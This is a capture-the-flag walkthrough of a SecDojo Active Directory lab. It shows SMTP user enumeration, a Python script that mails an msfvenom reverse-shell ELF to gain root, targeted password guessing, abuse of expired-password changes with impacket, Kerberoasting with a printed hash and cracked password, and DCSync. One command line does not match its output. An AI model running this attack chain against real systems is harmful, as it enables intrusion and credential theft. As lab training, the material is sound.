nighthawk - SecDojo - Veridianth
Description
A web app leaks the user list, SMTP accepts a mailed ELF payload, and a forgotten .eml on the box seeds a targeted password attack that ends in DCSync.
10.8.0.100 — web, SMTP and a mailed payload
Nmap scan

Enumerating port 80

Fuzzed

Checking the fuzzed directory /staging
/staging lists a set of names, which becomes the user list.
Using the potential users to enumerate the domain
LDAP confirms which of them are real — four accounts.
Enumerating smtp with the list of users

smtp-user-enum -M VRFY -U user.txt -t 10.8.0.100 -p 25
SMTP VRFY narrows it further: two valid recipients, one of them support.
Exploiting to gain root shell
Generate an ELF reverse shell with msfvenom.
import smtplib
from email.message import EmailMessage
m = EmailMessage()
m['From'] = 'analyst@external.test'
m['To'] = 'support@secdojo.lab'
m['Subject'] = 'analysis sample'
m.set_content('sample attached')
m.add_attachment(open('/home/n16hth4wk/Documents/Secdojo/Veridianth/reverse.elf','rb').read(),
maintype='application', subtype='octet-stream',
filename='reverse.elf')
smtplib.SMTP('10.8.0.100', 25, timeout=20).send_message(m)
The script mails that ELF to support@secdojo.lab as an attachment.

Mail is processed as root, the attachment runs, and the shell comes back as root.
Post-exploitation — the .eml, cupp and a spray
On the box there is a .eml file. Downloaded it.
It is a mail addressed to a.hooper carrying a base64 attachment, which decodes to a PDF.
Extracting it tells us the PDF was mailed to a.hooper, so his password is guessable from his own document.
Creating a targeted password attack
cupp builds a wordlist from his name and the document context.
Bruteforce
A hit, but the password is expired — which is convenient, because changing it does not need the old one.
Changing user password
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Veridianth]
└─$ impacket-changepasswd 'secdojo.lab/a.hooper:A.Hooper'@10.8.0.101 -newpass 'NewPassword123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of secdojo.lab\a.hooper
[*] Connecting to DCE/RPC as secdojo.lab\a.hooper
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
Confirm the credentials

Collecting data with bloodhound
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Veridianth]
└─$ bloodhound-ce-python -u a.hooper -p 'NewPassword123!' -d secdojo.lab -dc EC2AMAZ-KRL0JA5.secdojo.lab -ns 10.8.0.101 -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: secdojo.lab
INFO: Getting TGT for user
INFO: Connecting to LDAP server: EC2AMAZ-KRL0JA5.secdojo.lab
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: EC2AMAZ-KRL0JA5.secdojo.lab
INFO: Found 121 users
INFO: Found 61 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EC2AMAZ-KRL0JA5.secdojo.lab
INFO: Done in 00M 27S
INFO: Compressing output into 20261201104058_bloodhound.zip
Kerberoasting

$krb5tgs$23$*support$SECDOJO.LAB$secdojo.lab/support*$82dc0fb4bf97feb01cf53a9ddbab5835$c52a3df3e5903f95022d68e03d2be64ec412ff0afab47d764346ea45ef4cefda51e171257d9ddc0ff532009145b70260148eb0a31db184cba0d1c9501deb2fd49cb062d00bb1bd7aad58a3ec1bdd17f53b4016e0ed040028e564a468942998e17eb7d8c299f61a72ff3f37729620d532909b88a4b304acc067acf39d0f4402b88af4497a3fb24a0eed3babd31d0e78abe3cc5af5e23cc62cc0326660cd20c77a65cf7f966dd9dacb31bb00c43493b1dcc18b0fe1b7f502538baed43e8228c1e2edebf5e4486bc399340f504eaa4a6afcda6e7cc8b81939b909672a021c918602db045a3e2a41e4ea25828d1844f14638c913a32c5198f304aefb7474df8cde622c2ce2479db88dba0c01d52b91c1c3e8635c0578740c4def268fb70288df136c28c908d845990777a7fa347ec00793e18418e0c6f3dafaf912824b178b4f3c301300eb5763232390c05a7cafff96c1a53b1135039e7716d367a2181bca36cc716e31827ffd26d30878a94ec34a3cc558dd33127c55072ae7fc84dba5776f8dfbb31b7bfa055a6ce3ed23acd7ce1bb097de7bfb7f8cd108a9f9fbbfc1feec188454b3a846b8ab14805688d9d9057442cb858c40cccedab5dbcc58903083667a462f788313d595c0e049ffd1021396ddc8bf8d15a0e5125e6aa1afa478a579ec555a0ed8bd25dc4bddba705dde827c40e9db02845ebcff7ffbe06a1b74f08c63591e1e88defabd19518eebc0bf885f6f60c47044b3658b20015c830b5989292384fc2e48e58611037b4b5c107415438ac5771f47708a9fe270962174d11c93eb5352b0fbbe6541b8643cf3fed5d699f491dad72b0c941f3fe751cba8fde410d4d3a27d018976a3c044868bd016dc901bfe0b76a9741ea9c8f0a67aab18348ae4ca6998961aadbbeca8389b0724a1111ebef18621186d99ad4d6b384d944704958b766352467392600265bc5ca260c31f5f14c74388042703d95ac71bc178acda96262fc343e52c3a95ac5ccbc15b93d17e7f6bc1d6606ab461792d6b13fc6e54652355c913012b127c17a23c98ed3d4b14c1e721822c400ba331379d71e0d086e5d9bf6e2dcef3d504195eb571fb15aa0ef8af55a56287d3229b10b15287fd6df826ce92667a55424cd2fd14ba4cf897bc914e6c84cbb92c5a5cffa1114e1f88eb21d531ca80de818afbc06b2ddb413c5dfac411b33ab3c5af6d18458dc12752bc77077de623c9606e1674f250e9b7e470ab18227dda5da92b60749f8cb8a309a8d9924829effa0f163cf0f689e536015134c21f0c17836d7057554b660477edfcd5c9a14cc293ec45905bd00f7b547cb94f32b7d7f68a41301536f97adde91cad2b5ba6a95cdb7fc87824bd70a329e9586e5cfecd76bc8bfd04e512d65681c48ee9e8cd1e820806b2fa139b00e2931330e2da83615e606ddea93dfe19a42d161448b4af38c1391cb71d96053be22e06de8d575412531822e525f49944
Crack the hash
support cracks to !@p%i&J#iNNo1T2.
!@p%i&J#iNNo1T2

Change the password
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Veridianth]
└─$ impacket-changepasswd 'secdojo.lab/D.Dale:!@p%i&J#iNNo1T2'@10.8.0.101 -newpass 'NewPassword123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of secdojo.lab\support
[*] Connecting to DCE/RPC as secdojo.lab\support
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

Spraying that password
D.Dale reuses the same password, also expired.
Changing his password
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Veridianth]
└─$ impacket-changepasswd 'secdojo.lab/D.Dale:!@p%i&J#iNNo1T2'@10.8.0.101 -newpass 'NewPassword123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of secdojo.lab\D.Dale
[*] Connecting to DCE/RPC as secdojo.lab\D.Dale
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
Enumerate user with bloodhound
BloodHound shows D.Dale has DCSync on the domain.
Exploiting dcsync right

secretsdump over DCSync returns the domain hashes. DC owned.

Takeaways
- SMTP that executes attachments is remote root, and nobody had to log in.
- Old
.emlfiles left on disk are OSINT for password patterns —cuppturned one into a hit. - An expired password plus change-without-old-password is quiet lateral movement.
- Designated DCSync rights on an ordinary user is domain admin in disguise.